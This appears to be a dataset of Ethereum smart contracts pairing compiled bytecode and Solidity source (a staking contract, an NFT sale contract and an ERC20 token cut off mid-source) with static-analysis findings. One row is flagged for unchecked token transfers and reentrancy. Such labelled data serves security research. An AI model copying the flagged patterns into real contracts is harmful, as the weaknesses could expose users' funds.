fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548682815181106108cb57fe5b602002602001018181525050600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485828151811061092357fe5b602002602001018181525050600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484828151811061097b57fe5b602002602001018181525050505061099d6001826118f890919063ffffffff16565b9050610801565b50838383839850985098509850505050505092959194509250565b6109c833611914565b565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b61a8c0610ad4600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426118c790919063ffffffff16565b11610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611ec96034913960400191505060405180910390fd5b610b3333611914565b6000610b5d612710610b4f601985611baa90919063ffffffff16565b611bd990919063ffffffff16565b90506000610b7482846118c790919063ffffffff16565b90507314dfa5cfaafe89d81d7bf3df4e11eaeda041661873ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c1b57600080fd5b505af1158015610c2f573d6000803e3d6000fd5b505050506040513d6020811015610c4557600080fd5b8101908080519060200190929190505050610cc8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b7314dfa5cfaafe89d81d7bf3df4e11eaeda041661873ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d4d57600080fd5b505af1158015610d61573d6000803e3d6000fd5b505050506040513d6020811015610d7757600080fd5b8101908080519060200190929190505050610dfa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610e4c83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c790919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ea3336002611bf290919063ffffffff16565b8015610eee57506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610f0957610f07336002611c2290919063ffffffff16565b505b505050565b6000610f1a6002611c52565b905090565b60056020528060005260406000206000915090505481565b606481565b60076020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fac57600080fd5b7314dfa5cfaafe89d81d7bf3df4e11eaeda041661873ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611062576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f43616e6e6f74205472616e73666572204f757420434f5053210000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110d357600080fd5b505af11580156110e7573d6000803e3d6000fd5b505050506040513d60208110156110fd57600080fd5b810190808051906020019092919050505050505050565b61177081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611154826002611bf290919063ffffffff16565b61116157600090506112a8565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156111b257600090506112a8565b6000611206600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426118c790919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600061129f6127106112916301e133806112838761127561177089611baa90919063ffffffff16565b611baa90919063ffffffff16565b611bd990919063ffffffff16565b611bd990919063ffffffff16565b90508093505050505b919050565b7314dfa5cfaafe89d81d7bf3df4e11eaeda041661881565b6000811161133b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b7314dfa5cfaafe89d81d7bf3df4e11eaeda041661873ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156113de57600080fd5b505af11580156113f2573d6000803e3d6000fd5b505050506040513d602081101561140857600080fd5b810190808051906020019092919050505061148b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61149433611914565b60006114be6127106114b0606485611baa90919063ffffffff16565b611bd990919063ffffffff16565b905060006114d582846118c790919063ffffffff16565b90507314dfa5cfaafe89d81d7bf3df4e11eaeda041661873ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561157c57600080fd5b505af1158015611590573d6000803e3d6000fd5b505050506040513d60208110156115a657600080fd5b8101908080519060200190929190505050611629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61167b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f890919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116d2336002611bf290919063ffffffff16565b611730576116ea336002611c6790919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6301e1338081565b60046020528060005260406000206000915090505481565b60015481565b601981565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117b857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117f257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b6000828211156118d357fe5b818303905092915050565b60006118ed8360000183611c97565b60001c905092915050565b60008082840190508381101561190a57fe5b8091505092915050565b600061191f8261113e565b90506000811115611b62577314dfa5cfaafe89d81d7bf3df4e11eaeda041661873ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156119af57600080fd5b505af11580156119c3573d6000803e3d6000fd5b505050506040513d60208110156119d957600080fd5b8101908080519060200190929190505050611a5c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611aae81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f890919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b06816001546118f890919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008082840290506000841480611bc9575082848281611bc657fe5b04145b611bcf57fe5b8091505092915050565b600080828481611be557fe5b0490508091505092915050565b6000611c1a836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611d1a565b905092915050565b6000611c4a836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611d3d565b905092915050565b6000611c6082600001611e25565b9050919050565b6000611c8f836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611e36565b905092915050565b600081836000018054905011611cf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ea76022913960400191505060405180910390fd5b826000018281548110611d0757fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114611e195760006001820390506000600186600001805490500390506000866000018281548110611d8857fe5b9060005260206000200154905080876000018481548110611da557fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480611ddd57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611e1f565b60009150505b92915050565b600081600001805490509050919050565b6000611e428383611d1a565b611e9b578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611ea0565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea26469706673582212206fd14b0e1903dfe0db2c85771ffb6b271ed6a6e12d1d5efb84e6a56e1389a36f64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
4,880
0xf36499c787d4886e8c57bf232378fdb1b4b8d7d5
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface INFT { function mint(address _to) external; function mintBatch(address _to, uint _amount) external; } contract PoligoonzSale is Ownable { using SafeMath for uint; using SafeMath for uint64; uint public constant SALE_PRICE = 0.1 ether; INFT public nft; address public verifyAddress = 0x26C3b144F5c2369eB8Cb78579925EB9c701dCE0f; struct Buyer { uint64 startTime; uint64 endTime; uint64 maxPerWallet; uint64 bought; } mapping(address => Buyer) public buyers; address payable public receiver; constructor(address _nftAddress, address payable _receiverAddress) { nft = INFT(_nftAddress); receiver = _receiverAddress; } /* * @dev function to buy tokens. Can be bought only 1. * @param _amount how much tokens can be bought. * @param _signature Signed message from verifyAddress private key */ function buy(uint _amount, uint64 _startTime, uint64 _endTime, uint64 _maxPerWallet, bytes memory _signature) external payable { if(buyers[msg.sender].bought == 0) { require(verify(_startTime, _endTime, _maxPerWallet, _signature), "invalid signature"); buyers[msg.sender] = Buyer({ startTime: _startTime, endTime: _endTime, maxPerWallet: _maxPerWallet, bought: 0 }); } require(buyers[msg.sender].startTime < block.timestamp && block.timestamp < buyers[msg.sender].endTime, "sale is closed"); require(buyers[msg.sender].bought.add(_amount) <= buyers[msg.sender].maxPerWallet, "cannot buy more than limit"); require(msg.value == _amount.mul(SALE_PRICE), "each NFT costs 0.1 ETH"); buyers[msg.sender].bought = uint64(buyers[msg.sender].bought.add(_amount)); nft.mintBatch(msg.sender, _amount); (bool sent, ) = receiver.call{value: address(this).balance}(""); require(sent, "Something wrong with receiver"); } function setMaxPerWallet(address _userAddress, uint64 _maxPerWallet) public onlyOwner { buyers[_userAddress].maxPerWallet = _maxPerWallet; } /* * @dev function to withdraw all tokens * @param _to ETH receiver address */ function cashOut(address _to) public onlyOwner { // Call returns a boolean value indicating success or failure. // This is the current recommended method to use. (bool sent, ) = _to.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } /// signature methods. function verify(uint64 _startTime, uint64 _endTime, uint64 _maxPerWallet, bytes memory _signature) internal view returns(bool) { bytes32 message = prefixed(keccak256(abi.encodePacked(msg.sender, _startTime, _endTime, _maxPerWallet, address(this)))); return (recoverSigner(message, _signature) == verifyAddress); } function recoverSigner(bytes32 message, bytes memory sig) internal pure returns (address) { (uint8 v, bytes32 r, bytes32 s) = abi.decode(sig, (uint8, bytes32, bytes32)); return ecrecover(message, v, r, s); } /// builds a prefixed hash to mimic the behavior of eth_sign. function prefixed(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } }
0x60806040526004361061009c5760003560e01c80638da5cb5b116100645780638da5cb5b1461015257806397a993aa14610170578063b61506fa146101fa578063d8a713641461021a578063f2fde38b1461023a578063f7260d3e1461025a57600080fd5b80633252bd9c146100a157806347ccca02146100b657806365925b90146100f3578063715018a6146101135780637f205a7414610128575b600080fd5b6100b46100af366004610b25565b61027a565b005b3480156100c257600080fd5b506001546100d6906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ff57600080fd5b506002546100d6906001600160a01b031681565b34801561011f57600080fd5b506100b4610674565b34801561013457600080fd5b5061014467016345785d8a000081565b6040519081526020016100ea565b34801561015e57600080fd5b506000546001600160a01b03166100d6565b34801561017c57600080fd5b506101c661018b366004610ad7565b60036020526000908152604090205467ffffffffffffffff80821691600160401b8104821691600160801b8204811691600160c01b90041684565b6040805167ffffffffffffffff958616815293851660208501529184169183019190915290911660608201526080016100ea565b34801561020657600080fd5b506100b4610215366004610af2565b6106e8565b34801561022657600080fd5b506100b4610235366004610ad7565b610757565b34801561024657600080fd5b506100b4610255366004610ad7565b61081f565b34801561026657600080fd5b506004546100d6906001600160a01b031681565b33600090815260036020526040902054600160c01b900467ffffffffffffffff1661039c576102ab84848484610909565b6102f05760405162461bcd60e51b8152602060048201526011602482015270696e76616c6964207369676e617475726560781b60448201526064015b60405180910390fd5b6040805160808101825267ffffffffffffffff80871682528581166020808401918252868316848601908152600060608601818152338252600390935295909520935184549251955191518416600160c01b026001600160c01b03928516600160801b02929092166fffffffffffffffffffffffffffffffff968516600160401b026fffffffffffffffffffffffffffffffff1990941691909416179190911793909316179190911790555b336000908152600360205260409020544267ffffffffffffffff9091161080156103e5575033600090815260036020526040902054600160401b900467ffffffffffffffff1642105b6104225760405162461bcd60e51b815260206004820152600e60248201526d1cd85b19481a5cc818db1bdcd95960921b60448201526064016102e7565b3360009081526003602052604090205467ffffffffffffffff600160801b820481169161045891600160c01b90910416876109fa565b11156104a65760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420627579206d6f7265207468616e206c696d697400000000000060448201526064016102e7565b6104b88567016345785d8a0000610a0d565b34146104ff5760405162461bcd60e51b81526020600482015260166024820152750cac2c6d0409c8ca840c6dee6e8e640605c62408aa8960531b60448201526064016102e7565b3360009081526003602052604090205461052a90600160c01b900467ffffffffffffffff16866109fa565b3360008181526003602052604090819020805467ffffffffffffffff94909416600160c01b026001600160c01b03909416939093179092556001549151630922dc7f60e21b81526004810191909152602481018790526001600160a01b039091169063248b71fc90604401600060405180830381600087803b1580156105af57600080fd5b505af11580156105c3573d6000803e3d6000fd5b5050600454604051600093506001600160a01b03909116915047908381818185875af1925050503d8060008114610616576040519150601f19603f3d011682016040523d82523d6000602084013e61061b565b606091505b505090508061066c5760405162461bcd60e51b815260206004820152601d60248201527f536f6d657468696e672077726f6e67207769746820726563656976657200000060448201526064016102e7565b505050505050565b6000546001600160a01b0316331461069e5760405162461bcd60e51b81526004016102e790610c4f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016102e790610c4f565b6001600160a01b039091166000908152600360205260409020805467ffffffffffffffff909216600160801b0267ffffffffffffffff60801b19909216919091179055565b6000546001600160a01b031633146107815760405162461bcd60e51b81526004016102e790610c4f565b6000816001600160a01b03164760405160006040518083038185875af1925050503d80600081146107ce576040519150601f19603f3d011682016040523d82523d6000602084013e6107d3565b606091505b505090508061081b5760405162461bcd60e51b81526020600482015260146024820152732330b4b632b2103a379039b2b7321022ba3432b960611b60448201526064016102e7565b5050565b6000546001600160a01b031633146108495760405162461bcd60e51b81526004016102e790610c4f565b6001600160a01b0381166108ae5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102e7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6040516bffffffffffffffffffffffff1933606090811b821660208401526001600160c01b031960c088811b8216603486015287811b8216603c86015286901b16604484015230811b909116604c83015260009182916109cd9101604051602081830303815290604052805190602001206040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01604051602081830303815290604052805190602001209050919050565b6002549091506001600160a01b03166109e68285610a19565b6001600160a01b0316149695505050505050565b6000610a068284610c84565b9392505050565b6000610a068284610c9c565b60008060008084806020019051810190610a339190610c12565b6040805160008152602081018083528b905260ff8516918101919091526060810183905260808101829052929550909350915060019060a0016020604051602081039080840390855afa158015610a8e573d6000803e3d6000fd5b5050604051601f190151979650505050505050565b80356001600160a01b0381168114610aba57600080fd5b919050565b803567ffffffffffffffff81168114610aba57600080fd5b600060208284031215610ae957600080fd5b610a0682610aa3565b60008060408385031215610b0557600080fd5b610b0e83610aa3565b9150610b1c60208401610abf565b90509250929050565b600080600080600060a08688031215610b3d57600080fd5b85359450610b4d60208701610abf565b9350610b5b60408701610abf565b9250610b6960608701610abf565b9150608086013567ffffffffffffffff80821115610b8657600080fd5b818801915088601f830112610b9a57600080fd5b813581811115610bac57610bac610cd1565b604051601f8201601f19908116603f01168101908382118183101715610bd457610bd4610cd1565b816040528281528b6020848701011115610bed57600080fd5b8260208601602083013760006020848301015280955050505050509295509295909350565b600080600060608486031215610c2757600080fd5b835160ff81168114610c3857600080fd5b602085015160409095015190969495509392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610c9757610c97610cbb565b500190565b6000816000190483118215151615610cb657610cb6610cbb565b500290565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220a3cad377a47bc7f75b9236f48771ebe3699e08711bad177aaeb085f9f5893a7964736f6c63430008070033
{"success": true, "error": null, "results": {}}
4,881
0x0d42fb07a685d2ff9d6bb93df0389946192cd322
pragma solidity ^0.4.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused.db.getCollection(&#39;transactions&#39;).find({}) */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract MintableToken is StandardToken, Ownable, Pausable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; uint256 public constant maxTokensToMint = 7320000000 ether; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that 